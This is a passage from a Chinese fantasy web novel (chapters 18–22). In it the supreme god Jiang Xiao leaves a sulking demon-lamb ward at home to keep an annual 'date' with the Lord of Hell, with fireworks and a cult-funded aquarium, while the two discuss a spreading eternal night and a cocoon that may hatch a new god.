少年鼓起脸,像只生气的小河豚。
他倒是想反驳,可是能说什么呢?
眼下自己有几斤几两,距离能和神主平起平坐有多遥远,没有人比他更清楚。
他看了眼姜宵,后者没有要偏袒任何一边的意思。
是啊,一边是陪伴千万年之久、忠心耿耿、有苦劳更有功劳的手下,一边是满打满算不过饲育二十年、除了耍痴卖萌什么都不会的小宠物,换谁都拎得清孰轻孰重。
祂根本没有选择他的理由。
心爱之人明明近在咫尺,仍隔着天堑。
小孩情绪低落,卡布卡意识到自己讲得有点儿过,可再怎么逗他都不说话了,气氛一时粘滞。
“我给大家洗了些水果。”柔柔的嗓音在一片尴尬中蓦地响起。
楚情端着荷叶造型的水晶果盘朝他们走来,他还没有完全熟悉房间的摆设位置和地形,仅凭比常人更敏锐的感官来定位障碍物,走得非常小心。
白发,浅到透明的双瞳,浅色居家服。他整个人看起来就像一幅褪色的画。
卡布卡看他移动得艰难,怕人再摔着,大呼小叫地过去扶。
果盘搁在白墨相间的茶几上,底部和台面的大理石相磕发出清脆一声响。<
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p>水果种类颇丰,都是洗好削好的,有几种还额外切了花样。
在看不见的情况下能做到这般地步,也不容易。
他的确是好意,可问题是在座的一神,一羊,一鸟,谁也没有吃东西的习惯,水果摆在那儿本质上和装它们的器皿没有任何差别,就只是装饰而已。
楚情没有听见任何取放的声响,以为自己做错了什么,怯怯道:“我是不是打扰你们了……”
他准确无误转向姜宵的方向:“抱歉,先生,我不是有意的……”
撒迦利亚本就恼火,这下更是雪上加霜。只不过之前气的是还没长大的自己,现在迁怒到楚情身上。
他不想在姜宵面前表现得像个争风吃醋的幼稚小孩,瞪了楚情一眼,什么都没说,化作小绵羊踏着蹄子跑远了,故意把地板踩得啪嗒啪嗒很大声。
……不对,怎么好像更幼稚了!
开弓没有回头箭,这时候再折回去也太傻,小羊悻悻躲回自己房间。
起码我有专属的房间,那个姓楚的只能睡书房,那只鸟那条鱼来了也是随便凑合。说明我在宵宵心里的地位还是很不一样的。
小羊只能这么勉强地安慰自己。
他气馁地扑到床上,蜷成一朵要下雨的小乌云,迷迷糊糊睡着了。
*
客厅里,楚情揪着手指,很是无措:“那个小朋友……是不是很讨厌我?”
睫毛慌乱地扑闪几下,像淋湿的纯白合欢花,格外楚楚可怜。
“不不不,他不是针对你。”卡布卡老神在在地竖起食指晃了晃,“他只是平等地讨厌任何接近姜总的人。我,我老弟——哦,就是费秘书,还有牧场那些人,他哪个不讨厌呀?小崽子恨不得全世界的人都消失、只剩下他陪着先生才好。”
楚情起初惊讶地听着,听到后面的夸张语气,又忍不住笑起来,细声细气地:“先生的确很好。要是换作我也……”
他垂下眼帘,没把后半句说出来。
外面的雪下大了。
姜宵从头到尾没在意他们围绕自己的对话,起身对卡布卡道:“我出去一趟。”
卡布卡连忙找来大衣为祂披上:“您去哪里?什么时候回来?回这儿还是神域?我陪您一起吧?”
姜宵只回答了最后一个问题:“不用。”
祂走了两步,又停下:“待会儿……”
要是连这点眼色都看不出来也白当人下属了,卡布卡拍胸脯保证:“我懂我懂,待会儿我去看看小家伙消没消气,您放心吧,您回来之前一定给人哄好了!”
祂离开家,消散在一团浅金色的流光里。
片刻后,出现在大雪中。
戴着墨镜的男人一条腿跨着砂金色机车,一条腿撑在地上,竖起的衣领在风中猎猎作响。
从身上的积雪来看已经等了很久,可脸上没有丝毫不耐烦,也没有在做别的事儿,似乎天地之间唯一重要的就是等待祂的到来。
他冲着神明痞痞一笑,食指中指并拢,从额角轻快地向斜上方擦出,敬了个风流恣意的礼。
“好久不见,亲爱的陛下。”
雪下得愈发缠绵起来。
19.第 19 章
哔啵。
玻璃珠似的气泡自深渊底部垂直上升,缓缓穿过黑色暗潮,混在分不清是血还是海的波浪中,最终不堪近海的压力悄然碎裂。
只是死去一个气泡而已。地狱之中,没有任何人会在意它的到来与离去。
在这里,「死」是比「生」更正常、更自然、更理所应当的存在。
两个恶魔正守着攀长着血色藤蔓的坩埚,用勺子——也不知是从哪个倒霉蛋身上卸下的腿骨——搅拌着咕嘟作响、内容物不明的一锅浓汤,有一搭没一搭聊天:
“好无聊啊,今天怎么这么风平浪静?”
“确实,好像连管鞭刑那小子都没干活儿。”
“说的好像我俩不在摸鱼一样。”
“……咳咳。”
“哎,老大是不是出门了?”
“应该是,我来的时候遇到拉兹,又是一脸天塌了在代班。”
“能当老大的左膀右臂是他的荣幸好吧?”
“道理是这么个道理,可也要理解一下事业脑副手碰到恋爱脑上司的心酸。”
“啊?你这意思是,老大又去……”
恶魔一脸高深莫测地抚了抚自己的山羊角:“我猜他肯定翘班见心上人去了——一年一度,从不失约。”
同僚忍不住好奇:“老大喜欢的那位究竟是什么身份?什么种族?什么性别年龄长相?”
“我哪儿有知道的份?”恶魔摇摇头,“据说连拉兹都没亲眼见过。老大可是把那位当宝贝,藏得严严实实,生怕给别人看去一眼。啧啧……”
同僚用箭头尾巴沾了沾翻滚的浓汤尝了一口,味道鲜美。下次还可以试试做毛血旺。
“堂堂地狱之主竟是恋爱脑,说出去谁信啊。”他边吃边感慨,“我是真想见识见识,那位得美成什么神魂颠倒的样儿,才能这样勾着老大的心?”
“小道消息,不保真。”先前那位也捞出块白骨咬得嘎蹦脆,压低声音故作神秘,“别看这一年年的见下来,其实老大到现在都没把那位追到手,还是单相思呢。”
*
神明下意识闭了闭眼,待适应了薄薄的眼睑之上突如其来的光感再睁开,对着倾泻而下的雪亮天光竟然有些不习惯。
这段时间祂凡是来到人界目的地一定是不见城,穿梭在暴风雪和永夜里,快要忘了人间本该有昼夜更迭与四季流转。
此刻离开不见城,乍一沐浴在凡间的灿烂阳光下,反而有种微妙的、轻飘飘的失重感。
人间的光照和神域的永昼毕竟是不同的。它有温度,也更真实。
坐在对面的男人取下墨镜随手挂在衣领上,露出其下一曜黑、一砂金的异色瞳,眼角挑出的弧度好似桃花瓣。
他实在有张英俊得过分的脸孔,笑起来更是叫人移不开眼,再加上堪比雕塑的完美身材,不要钱似的散发荷尔蒙,引得周围不少人时不时朝这儿投来目光,伴着或羞涩或不屑的指指点点。
男人不介意自己成为视线焦点,甚至愿意对偷窥者回以一个迷人的微笑,等那些窃窃私语成了惊呼,再施施然收回视线。
他一手托腮,一手在桌面上轮流敲打,对着面前人弯弯眼睛,弯出多情的笑意:“怎么发呆?”
要论皮相的优越,一桌之隔的那位不遑多让,只不过气质与他截然相反。简单来说,就是火山和雪山的区别,一个张狂,一个冷淡,看起来完全是两个世界的人,能这么和平地坐在一块儿实属不易。
表象如此,真相更是骇人听闻。
神域和地狱,神族和魔族,是万年来势不两立、恨不得饮血啖肉的死敌,擦肩而过都能爆发大战,最大的梦想是把对方彻底消抹。
谁能想到,双方的最高统领,诸神之神和地狱之主,却能在同一张桌子和平、和谐、和煦地聊天,而且不是偶然相遇,是在每个人间年同一日重复的「约会」;虽说这个说法只有魔鬼坚持使用。
要让两边随便什么人亲眼目睹,恐怕不会认为这是奇迹,而是——演的吧。
根本没人会信的。
然而不管小弟们信不信,两个老大就是这样友好会谈。
神明手边有杯冰咖啡,消夏解暑,店内招牌,魔鬼为祂点的。但祂不大喜欢这种苦味,只抿了一小口就推到旁边,杯壁凝结的水滴滑落,淌下蜿蜒的痕迹。
“不见城的情况,你参与了吗。”寒暄不是祂需要的语言技巧,祂每次见他,也不是为了闲话家常。
可他见祂,真的是为了一解相思之苦。男人沮丧地垮下眉毛:“这么久没见了,怎么上来就审问?好歹关心下我这段时间过得怎么样啊?至少问问我有没有想您……”
神明的视线从窗外亮堂、无风的街道移到他身上,不为所动:“不要逃避话题。”
“我可没有。”他搅了搅自己那杯焦糖拿铁,甜腻得过分,但是他最喜欢的口味,“只是想跟您建立亲切轻松、可持续发展的良好关系,我的陛下。”
神明因最后一个词微不可察地蹙了下眉。这家伙表面上用着“您”和“陛下”,看似有礼貌又尊敬,实则每次在“陛下”前面都要加额外的定语,一半是“我的”,一半是“亲爱的”——搞得好像他们有多熟似的。
说是轻佻可以,说是亲昵也行,总之不是什么正经人。
……也不是什么正经魔。
神明向来对魔鬼那极力克制、却还是忍不住漫溢出来的占有欲视而不见,这对祂、对他们来说毫无意义。他们不是,也不可能是那种关系。
祂的食指点了点桌子,没有发觉自己无意识模仿了魔鬼刚才的动作:“这里距离不见城边缘373.44千米,时间和温度重新流动。上一次的测算距离是206.59千米。”
魔鬼相当专注地望着祂,眼里容不下别的人,包括来来往往故意凑过来瞧瞧他俩的那些:“嗯,您说,我在听。”
“永夜在扩张,而且非常迅速。一个人类的组织没有这么大力量。”祂也看向他,“你是主导吗,还是推波助澜。”
魔鬼沉默了好一会儿,忽然来了一句:“我还是更喜欢您真实的瞳色。”
神明面无表情:“不要打岔。”
“我说真的嘛。”魔鬼笑起来,这让他的异色双眸格外明亮,几乎看不见阴翳,“您的蓝眼睛太令人着魔了。哦,抱歉,是太令魔着迷了。”
神明不合时宜地想起一个孩子,也用相似的眼神和语气说过,“还是哥哥的眼睛更
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好看”。
他和他是同族,有一样的深色皮肤和恶魔象征。
他们对祂有相似的痴迷,而祂不可避免的,对他们二人也有不同寻常的在意。
祂不是没想过他们会不会其实是同一人,但没有足够的证据支撑。
祂不得不承认,眼前这位自五百年前新鲜上任的地狱之主,竟有与自己匹敌的力量。祂没办法像洞察任何一个其他人那样,轻易地看透他。
祂甚至看不透他。
五百年前,年轻的地狱之主找到祂,祂以为是宣战——每一任自以为狂傲的地狱之主都做过这种傻事儿。
但这位不同。
他说,尊敬的陛下,我想同您合作。
那是他第一次也是最后一次用“尊敬的”这个前置词。从此以后变成了“亲爱的”。
神明没有立刻答应或拒绝,在短暂的忖度后,问他什么条件。
和地狱里的牛鬼蛇神们比起来,这位的模样过于俊美了,连带着他的语气和表情都变得更真诚,更值得信任。
我会给您一个可控的、不那么头疼的地狱。魔鬼说。
神明嗓音冷寂,问,你要什么。
我啊……
恶贯满盈的地狱之主竟然露出一个近似于羞赧的微笑,再看过来的目光带着每一个情窦初开的年轻人对爱慕者都会有的迷恋和憧憬。
我想和您约会。
他说。
……于是他们就这样度过了五百年。
每个人间年的同一天、同一时刻,就这样见面了五百次,“约会”了五百回。
浪漫又荒谬。
习惯是个可怕的东西。即便是神主也不能免俗。
神明的思绪回到眼下,继续刚才的话题:“不见城的地下有一个茧,按照人类的说法,它会孵化出新神。”
所有神族必将于神域诞生,无一例外。
所以这个降临在深井中的,一定不是真正意义上的「神」。
魔鬼问:“您在担心它的力量吗?放心,我的陛下,您这样至高无上,没有任何人、任何力量可比拟——无论过去将来。”
神明道:“不见城失控得很厉害。”
两人始终没有正面回答过对方的问题。他们相见,他们交谈,但他们各怀心事,各有思量。
“哎呀,那真是好难办。”魔鬼站起来,风度翩翩伸出手,“这里人多眼杂,我们换个地方再聊,好吗?”
实际上他们的对话内容凡人根本听不见,神明还是同意了他变更地点的请求。
但无视了牵手的邀约。当然。
魔鬼不尴尬也不失望,顺势把手插在口袋里,跟在神明后面走出咖啡厅,脖子上的骷髅项链流转过一丝偏光。
他并未被小小的拒绝破坏心情,反而哼起了歌。
这旋律让神明觉得有点儿耳熟,但祂对音乐并不敏感,一时没想起在哪里听过。
「许我向你看
向你看
多看一眼
我度过了多少寂寞的春天
今天才伴在我的身边」
魔鬼盯着神明挺拔清俊又高不可攀的背影,翘了翘嘴角。
约会才刚刚开始。
20.第 20 章
“约会”的概念只存在于人类这个多情的种族里,魔鬼观摩学习过他们许多次,总结出最常见的几个步骤:吃饭,逛街,看电影,开房。
首先,神和魔都不需要吃饭;
其次,他们也用不着买东西;
再次,人类演的电影都幼稚可笑得像小孩子过家家;
最后,嗯……
先不想最后了。
人类的基础套路不太适合他们,魔鬼不得不重新调研,整理出一些其他分支花样,比如咖啡厅、游乐园、海洋馆、KTV、放烟火、海边散步等等等等。
他认认真真拟出清单交给神明过目,问祂想做什么。
神明看了一眼,叹了口气。
祂本想说,何必。
最后开口却是,都行。
神魔有别,不共戴天,连三岁小孩儿都知道。
偏偏地狱之主对祂过于上心,那些每次相见时涌上来的炽热的、蓬勃的、可以用“爱意”来形容的东西,像一场势不可挡的燎原大火。
只可惜,再凶猛的烈焰,总有融不化的冰雪。
神主全知全能,洞悉一切,怎么可能感知不到魔鬼对祂的在意。
但感知得到,不代表「感觉」得到。
诸神之神只可对芸芸众生有大爱,不得对任何个体有私情。
所以祂感觉不到,也没有心。
两人漫步于红尘俗世,周遭人声鼎沸,喧嚣如浪潮推着他们前行。
神明路过一家花店,最近好像是什么人界的节日,这家店生意很好,外面堆满了各种鲜妍的花儿,其中以玫瑰最为耀眼。
大多是红色,也有粉色、黄色和蓝色。
但没有白色。
而神明最熟悉的就是白玫瑰。
榆盛苑的别厅花瓶里还有一大捧,层层叠叠,像雪也像白色的火。全都是撒迦利亚送祂的,一次一枝,成了见面惯例。
说起来,也不知道小孩气消了没。
……要是知道自己丢下他去见别人,恐怕会又赌气吧。
养孩子,尤其养这种不知道在想些什么的小崽子,有时候的确会让神苦恼。
祂停下脚步,隔着不远不近的距离看着它们争奇斗艳。
魔鬼在祂身边站定,目光不咸不淡从花束滑过,出乎意料地没有提出要送祂一束——这明明是人类约会之必要步骤。
越来越多的客人光顾,他们很快离开。
神明本就寡言,这回连总是想办法逗祂开心的魔鬼也不说话了,一时之间安静得过分。
只是一些花罢了。准确来说,是压根不存在于此的白玫瑰,却勾起了两人不同的心事。
祂对一大一小两个魔鬼有许许多多接触,也有许许多多怀疑,但从未告知过任何一个关于另一方的存在。
一来是需要更多的观察来印证猜测,二来……
这俩要是见了面,哪怕只是知晓神主身旁竟然除了自己还有别魔,天崩地裂都是轻的。
左使和右使虽然也常年争宠,可他们对神主的敬仰之情,与两个魔鬼想要将神明据为己有的独占欲完全不是一码事。
瞒又能瞒到什么时候,撒迦利亚成长得太快,对祂的变化、尤其是身边多出什么人格外敏锐;地狱之主更是攻势猛烈、紧咬不放。
秘密迟早有天会败露,岌岌可危的平衡一旦打破——
够棘手的。
光是想象一下那个场景,祂都想叹气。
魔鬼的视线一直在祂身上流连,自然不会放过这个微小的变化,轻声道:“累了?”
祂迟疑了下。
神主理应不会疲惫,这样想来,在不见城三番五次感到的轻微倦意,果然是永夜产生的副作用之一。
祂避而不答:“我的时间有限。”
言下之意就是别耽误了快点儿去新的地点开始新一轮审问。
魔鬼勾了勾唇角。处变不惊的神主大人,其实有时候还挺心急的。
“天马上就要黑了。”他好整以暇,“还请您再耐心等一会儿,亲爱的陛下。”
*
“一定要玫瑰的话,能在你们那儿活下来的也只有圣诞玫瑰了,就这最好也不要放室外,你们不见城那气候实在是……哎,小伙子,你在听我说话吗?”
花店店主在青年眼前挥了挥,后者不知道看到了什么,一直盯着外面,被她这么打岔才回过神:“啊,您说您说。”
店主本来就忙,抽时间给他进货他还心不在焉,这让她不大高兴:“你要是觉得我这里没你想要的品种就换别家吧。”
宁槐连连道歉,好不容易登记完全部订单,一捆捆塞进车后备箱,立刻追出去。
黄昏笼罩的街道行人来来往往,哪里都没有他想找的那个。
是眼花了吗?还是认错人了?
可他几分钟前分明在花店门口看见了姜先生。
还不是独自来的,有别人陪着;二人看着颇为般配,即使没有亲密动作,甚至没交流,可就是有种外人插不进去的独特氛围,俨然一副约会架势。
宁槐第一反应不是不食人间烟火的姜先生也会动凡心,而是,那只爱吃醋的小绵羊知道吗?
*
“如果——我是说如果。”声音从背后传来,“如果茧里诞生力量堪比神族的新生命,您打算如何应对?”
他们站在露台上,眼前是灯火人家,远处有连绵山峦。
魔鬼站在祂身后一点儿,一手搭在栏杆上,错位的姿势几乎像要把祂圈进怀里。
“生老病死,是自然规律。”祂不确定是不是所有的地狱生物体温都如此之高,怎么撒迦利亚这样,这家伙也这样;明明碰都没碰到,那灼人的热度仿佛凝成困扰着祂的实体,“但不见城的时间停滞不是。”
需要祂亲自出手干预的只有永夜,至于茧中新神会如何,那是这个碎片世界自己要解决的事儿;哪个世界还没点怪物了。
除非,新神会导致这个碎片世界滑向另一种失控的深渊。
到那时候,祂和神域就要重新裁决了。
神主不习惯与他人靠得太近,小羊羔是唯一的例外;可祂总不能真的避开魔鬼,好像躲着他似的。
两人至今没有正面回应对方的问题,也谁都不肯换个站位和姿势,好像
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谁先退让就是怕了、输了——这时候倒想起自己代表着神域和地狱。
诸神之神与地狱之主僵持着,无声角力着。
直到头顶传来轰响。
神明抬眼,看见成百上千的光的花朵正在绽放,原本静默的夜空倏然被点亮,不同色泽的光束攀升至最高点又很快坠落,如雨如瀑。
这就是魔鬼要带祂进行的约会的另一个步骤:看烟火。
这儿是最好的观赏点,楼下公共区域的人类欢呼起来,有情侣有朋友有家庭,男女老少的脸上有着比烟花更璀璨的笑意——看来人类是真的很喜欢这个。
神域的御花园里种着星尘花,夜晚盛开时即是群星。
神明与这些花儿相伴太久,花谢花开,星起星灭,不过是规则和规律。
过去祂并不懂这点儿光芒究竟对人类有怎样的吸引力,值得一个又一个,一代又一代,一夜又一夜抬头仰望。
今夜好似隐秘地窥见丝缕天光——人类的生命在神明眼中就如同这些烟花一样短暂,可他们并不要精彩绵延不绝,只要抓住这一瞬的绚烂,就足以媲美永恒。
又一束烟火登顶,从一道细长的金光层叠地散成无数垂落的麦穗,气势磅礴地闪烁着万丈光辉。
魔鬼终于主动认输,结束那个似是而非的拥抱,站到神明身侧。
祂几乎在心里松了口气。
这不对劲。
祂愈发清晰地察觉到,近些年来,每次自己面对他时,或者说每一次参加模仿人类的“约会”时,祂都不可避免地沾染上那些只属于人类的、鲜活而多变的情绪——而神明本不该有「情绪」。
心绪漾出的涟漪在告别后就会归于无澜,和这些灿烂的烟火差不多。
可下一次见面,又会卷土重来。
祂都能想象出要是蜚蜚知道了这件事会怎样心急如焚地警告:下蛊,那些魔族一定是在对您下蛊!
诸神之神分明百毒不侵。
如果一定要从哪里破溃,也该是冻原先有了裂纹。
“您今天好像有点儿心不在焉。”魔鬼撑着栏杆,转过脸似笑非笑,“遇到什么烦心事了吗?要是愿意说出来,也许我能帮您分忧。”
他的眼中盛满流光溢彩的夜色,烟火将黑和金渲染成时而重叠时而变换的迷幻色彩。
被这样一双眼睛专注地凝视时,会有被深爱的错觉。
但神明的语气极冷淡:“不要插手不见城。”
魔鬼弯了弯眼睛,懒洋洋地回答:“好好——我的陛下都这样开口请求了,我难道还会不遵从么?”
最后一束烟花正在下坠。
完全熄灭的前一秒,神明的眼瞳顷刻间褪去伪装的黑色,流淌过惊心动魄的冰蓝。
魔鬼只敢看一眼,匆匆移开目光。
他怕自己忍不住做些僭越之事——绝不在神明能容忍范围的事。
什么“渎神会”,他对这个名头嗤之以鼻。
一群软弱的人类想做的,不过是供奉新神以取代旧神。
自己那些汇聚起来汪洋般庞杂、黏稠而晦暗的妄念,才是真正的,对神明的「亵渎」。
21.第 21 章
生物有趋光性,哪怕滋生在阴暗渊翳的地狱一族,也难免被光吸引;只是光明圣洁到神主的地步,也不是他们能承受的。
大多数魔物光是见到祂就会被灼伤,低阶的有可能直接灰飞烟灭,祂连动手都不用,仅需真颜显现,本相之光辉即为审判。
当然,地狱之主没这些担忧,只要他想,盯着神明看多久都可以——肆无忌惮到这种地步,也是举世无双。
如果说他也会感到疼痛,恐怕是那夹杂着太多黑暗执念、近乎扭曲的渴望,浓烈到令自己都窒息。
他觉得疼,是因为心甘情愿沉沦。
这一刻,爱与死倒是同义词了。
生物的趋光性,在创生之神身上也有那么一点儿体现:从正常的城市回到不见城,从明媚的夏日步入严冬,很难不认为是一种体验感下降。
神明以为自己这段时间来不见城的次数够多、够熟悉,魔鬼带祂去的这个地方,还是有些出乎意料。
一个完全建在地下的海洋馆。
“才盖好没几天,正是最新鲜的时候。”魔鬼看着入口排起的长队,深感人类的本性就是凑热闹。
他故意卖了个关子:“您想知道它的最大投资人是谁吗?”
神主喜静,神域向来阒寂,奏弦音、吟颂歌、念祷词,皆不可高过风声。
可哪儿有人类,哪儿有就堪比一百只卡布卡的嘈杂。
祂侧身让过几个尖叫着奔跑的小孩子,瞥了魔鬼一眼。
如果这不是神主,但凡这不是心如古井的神明,他会说那绝对是带着些许恼意的“有话快说”“这里好吵”“还不出去吗”。
他抬起胳膊虚虚挡在神明身前,把祂同吵嚷的人类分开,也不觉得自问自答无趣:“——就是那个‘读书会’。哦,您已经知道它真名是‘渎神会’了。他们的大主教名下的资产……嗯,只能用丰富多彩来形容。”
他没有买票(当然),也没有刷脸认证身份,对着门口检票的工作人员微微一笑,后者便晕晕乎乎打开闸机让他们通行。
至于是被脸蒙蔽,还是被魔蛊惑,直到下班后被领导对着监控骂了一顿,当事人也没搞明白自己怎么就灵魂出窍了。
进到场馆里,魔鬼依旧保持着那个护卫的姿势。
地狱之主之所以选择亲自以肉身抵挡这个在他眼里与低劣虫豸无异的种族,而非直接用力量隔绝,是因为他始终认为,既然要模仿人类的约会,就不能离他们太远——这是除了一定要称其为“约会”之外,他所坚持的另一个(没多大意义的)法则。
这对神明而言是个很新奇的体验:这世上,或者任何一个碎片世界里,能伤到祂的力量还不存在,因而祂从不曾被谁这样小心翼翼保护过,像一株罩在玻璃瓶里的孱弱的白玫瑰。
神明的视线从站在自己侧前方的魔鬼轻缓移到眼前的鱼儿身上,它的尾鳍摇摆着,而祂眸中比水波更浅、更纯粹的蓝一闪而过。
魔鬼每年选择的约会地点和项目也许是随心所欲,也许是故意为之。今日的海洋馆既然与渎神会的大主教有关,那么就不完全是为了体验这里的浪漫氛围。
但体验一下也没有坏处。
为了不影响水族箱里的生物们的生长,也为了观众能更好地看清它们,整个场馆的通道都没有主灯,仅在地面安装灯带,更多的用处是为了指示方向,起到的照明效果可能还比不上水中的灯箱。
光线暗淡,人群拥挤,是最符合名正言顺牵手的两个因素。
正儿八经来约会的年轻小情侣的手背时不时暧昧地碰一下,很快其中一个下定决心,鼓起勇气勾住另一人的指尖,在没有被拒绝后慢慢增大接触面积,直到十指紧扣。
两个人的脸都通红,谁也不敢看对方,可嘴角的笑意早就藏不住。
魔鬼已经见证好几对达成目的的人类,再有心模仿,瞥一眼冷冷淡淡的神主大人,也只能在心里叹气。
这种事儿还不是现在的他能奢望的。
但总有一天可以。地狱之主乐观地想。
他们被人潮挟着来到水母馆,这里比其他场馆还要昏暗,高大的圆形水缸里水母缓慢游动,变换的灯光勾勒出它们柔软的伞状躯体和花蕊似的细长触须,悬浮在海水和最深层的梦境之间。
这些透明的小生物最适合五颜六色的打光,而五颜六色的打光最适合拍照。
人类的寿命短暂,因此格外喜爱用这种科技来记录一刹那的永恒,就算是神与魔在热情高涨的人类面前,也只能被挤到后排去。
“甜心,看镜头笑一个!”
他们旁边有个两三岁的小女孩,齐刘海,双马尾,蓬蓬公主裙,看起来是好好打扮一番才来玩儿的。
她爸爸注意力全在取景框,半蹲着向后退几步,差点儿踩到神明,在魔鬼护住后者时连连道歉:“不好意思不好意思!”
魔鬼不耐地皱了下眉,可既然神明没有什么表示,他也不至于和一个人类计较。
他低声道:“我们换个地方吧,这儿人太多了。”
神明没有应答,看着那边的孩子。
小姑娘没有看爸爸的镜头,而是好奇地看着他俩。
人类幼崽的目光如此纯粹,仿佛能透过他们伪饰的外表看透真实的、不该存在于此的灵魂。
魔鬼忽然很想知道,在摘下地狱之主和诸神之神的头衔光环之后,在抛却种族之间不共戴天的血海深仇之后,在别人眼中,他和祂,看起来又是什么呢?
孩子爸爸也发现了她在走神,又一次挥手:“苔丝,宝贝,看爸爸!”
幼崽终于被唤回神,和每个这个年纪的小朋友拍照一样比起剪刀手,甜甜一笑,像八音盒里的洋娃娃。
魔鬼见神明还在看那孩子,玩心大起。
他悄然动一动手指,在空气中勾出某个经典图案的轮廓。
接着,一池海月水母停下原本漫无目的的漂游,好像受到什么指引,齐齐向着靠观众的方向聚集。
它们依次找准自己的位置,顺着规划好的方向慢慢浮动,像是归拢进一条隐秘的轨迹,直到排列成一个明显的、所有人都能一眼看出来的形状。
——一颗“心”。
被光线渲染得五光十色的海月水母们,为小苔丝摆出了最盛大的舞台背景。
苔丝的爸爸吃惊极了,放下相
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机用肉眼去看,甚至揉了揉眼确认这不是自己的幻觉。
他很快反应过来,激动地举起相机:“甜心,快看爸爸!这一定要拍下来!”
其他游客很快也被吸引过来:
“这是表演么?”
“真厉害啊,现在的科技连水母都能控制了?”
“这不会是假的吧……”
“管他呢,遇事不决先发朋友圈!”
无论原理如何,成千上万只水母共同描摹出的心形足够壮观,足够浪漫,足够让所有人都争前恐后地拍照留念。
至于始作俑者,早就离开了拥挤的前排。
引起轰动大约是地狱之主的本性,他享受成为焦点,哪怕不是自己。
神明的目光终于重新落在他身上,并不诧异,倒是有种早有所料的无奈。
魔鬼得逞似的低低笑起来:“这是送给您的,亲爱的陛下。”
那颗心,是我想要送给你的啊。
“喜欢么?”他问。
原本他并不指望这个问题能得到回答,就像过去许许多多调情的、暗示的、故作亲昵的话语,神明从来没搭理过。
也许是今日气氛特殊,也许是神明心情尚可,祂出乎意料地回应——更像是点评:“缺乏新意。”
魔鬼一愣,才明白祂说的“没新意”是用心形来表意剖白。
这算什么意思?
祂是知道他在表白的,不是吗?
他的心思昭然若揭,过去祂从来都当没看见、不知道。
可在今天,在这次,在此刻,祂「看见」了。
血液在四肢百骸奔涌,如同沸腾的岩浆。魔鬼感到自己快要被这一句轻飘飘的话语点燃,除非神明能给出更完美的诠释。
眼见着神明已经走向出口,他快步跟上去:“什么才算有新意?我真诚地请求指教。”
神明站定,没有转头。
从这个角度魔鬼只能看见祂瑰丽的侧颜,温润如玉的黑眸氤氲出一丝极淡的蓝。
身后的人群再度爆发出惊呼。
魔鬼回过身,看见玻璃缸里无数水母受到召唤,从最顶端向下缓缓漂落,半透明的伞盖翕张,触须在水流中摇曳出一道道光的轨迹。
随着它们的下沉,底部柔和的灯光晕染上伞体,自透明的边缘折出星屑般的细碎光晕,映出一场无声下坠的烟花雨,静谧而梦幻。
不久前他带祂看的烟火,此刻祂又还给他了。
神明不再停步,身影很快消失在场馆和场馆之间的连接通道里。而魔鬼依旧愣怔在原地,久久回不过神。
五百年了。他想。
五百年间,神明从未承认“约会”这个说法。
可仍年复一年准时赴约。
没有一次落空。
地狱之主难得会有如此心绪复杂的时刻,像狂喜,又像怅然,难以自我说服,又忍不住想要相信。
他没办法不去想。
其实祂对我。
是不是也没那么百分之百的……公事公办?
光洁、公正、无懈可击的诸神之神,是不是真的,没有任何私心——没有半点「私情」?
22.第 22 章
这家新鲜开业的海洋馆最大的招牌不是斑斓多姿的水母馆,也不是美人鱼表演,或者观众同海洋生物的近距离互动,而是一只巨型章鱼。
宣传单的介绍上说这只章鱼体型巨大,堪比大王乌贼,光直径就快十米,最长一条触手甚至可达二十米。
它是从不见城的近海捕捞上来的,救助组织花了很大力气才让意外搁浅的它活下来,若不是读书会的大主教慷慨扩建海洋馆,恐怕全城找不到第二个如此广阔的人造水域收留它。
永冬不仅严重影响城市里居民的生活,更是让动植物的生存环境变得极为恶劣,冰封的近海使得海底生物不得不向上浮寻求温暖,这只容易被发现的大章鱼已经算是幸运儿,还有数不胜数惨死在半路的。
人类拯救自己都焦头烂额,哪儿有功夫操心它们。
救活这一只就足以彰显了人类对抗自然考验的决心,对全城居民都是一种鼓舞。
招牌巨无霸大章鱼还没来得及起名字,海洋馆正在向公众征集建议,章鱼馆里随处可见留言簿,上面写着五花八门的名字,什么“章鱼哥”“章鱼烧”“大丸子”“老克”“霸霸”,想象力之丰富,连神与魔也要叹为观止。
神明随意翻了几页,魔鬼拿起笔递过去:“陛下金口玉言,不如赐名一下?这会是它的荣幸。”
神明直接忽略了这个提议,倒是想起了先前被搁置的话题:“渎神会出资建立海洋馆,应当要从游客中吸纳信徒。”
原本读书会登上“银色山泉号”的成员已经全被藤蔓吸收了,既然要供养茧和新神,就需要新鲜的养分。
问题是,海洋馆的游客们大多是走马观花,并没有特定的意愿,更不会累积成对某个事物的坚定信念,难道随便什么普通人都可以献祭吗?
正统的神明也好,邪神、异神、伪神也罢,都需要被信仰才能存在。
没有信仰的人类就只是空洞的躯壳,吃掉他们几乎没用。
渎神会现在最重要的就是迎接新神的诞生,建这个海洋馆总不可能是为了赚钱从长计议,更不会是为了做慈善。
那么,他们的目的,或者说达成目的的方式,究竟是什么?
神明还在思索,魔鬼见祂没有要接笔的意思,干脆自己翻到空白的一页划拉几笔。
他看了看祂的侧脸,疏冷似雪,洁白如玉。
魔鬼龙飞凤舞写下一行字,而后道:“虔诚的信仰当然是最好的养分,但只要情绪足够强烈就能充当饲料,不一定非得拘泥于正面。”
神明蹙眉:“所以……”
“——所以,不要陷入思维定势,我的陛下。”魔鬼满意地看了看自己的手笔,“去看看章鱼吧?”
很难说神明对超级无敌大章鱼有没有兴趣,祂自己那两位左膀右臂,鲲和鹏,哪一个原身不是庞然大物,麾下灭世级别的巨兽神禽也不是没有,体型再大的海洋生物对祂而言也不足为奇。
不过,保持约会全程愉快的重要经验是:不要扫兴。
因而祂还是离开留言薄所在的台子,向贯通整个大厅的全幅水箱走去。
所以祂没有看见留言薄上魔鬼留下的那句与取名完全无关的话。
「美好的一日。献给我的爱。」
魔鬼插着口袋又瞄了一眼,啧了声,手指在上面虚虚一抹,字迹消失殆尽。
游客们在展示墙前窃窃私语,章鱼若是真有介绍中那么大,怎么可能到现在谁也没看见呢?
说是躲在中间那个巢穴了,可有人高倍望远镜都拿出来了,还是一无所获——什么拳打蓝鲸脚踢大王乌贼的海中新霸主,不会就是促销噱头吧?
为了营造氛围,所谓的巢特意建成宫殿的形状,好似要把那只连往哪儿游都不能由自己决定的可怜章鱼打造成王座上的邪恶君主;周围没有灯,要的就是这个阴暗蛰伏、突然钻出来吓一跳的效果。
神明想,总不能是要通过章鱼来收集人类的惊吓。
孩子和胆小者的反应也许很强烈,可这算得上负面情绪吗?
如果不是惊吓,那么……
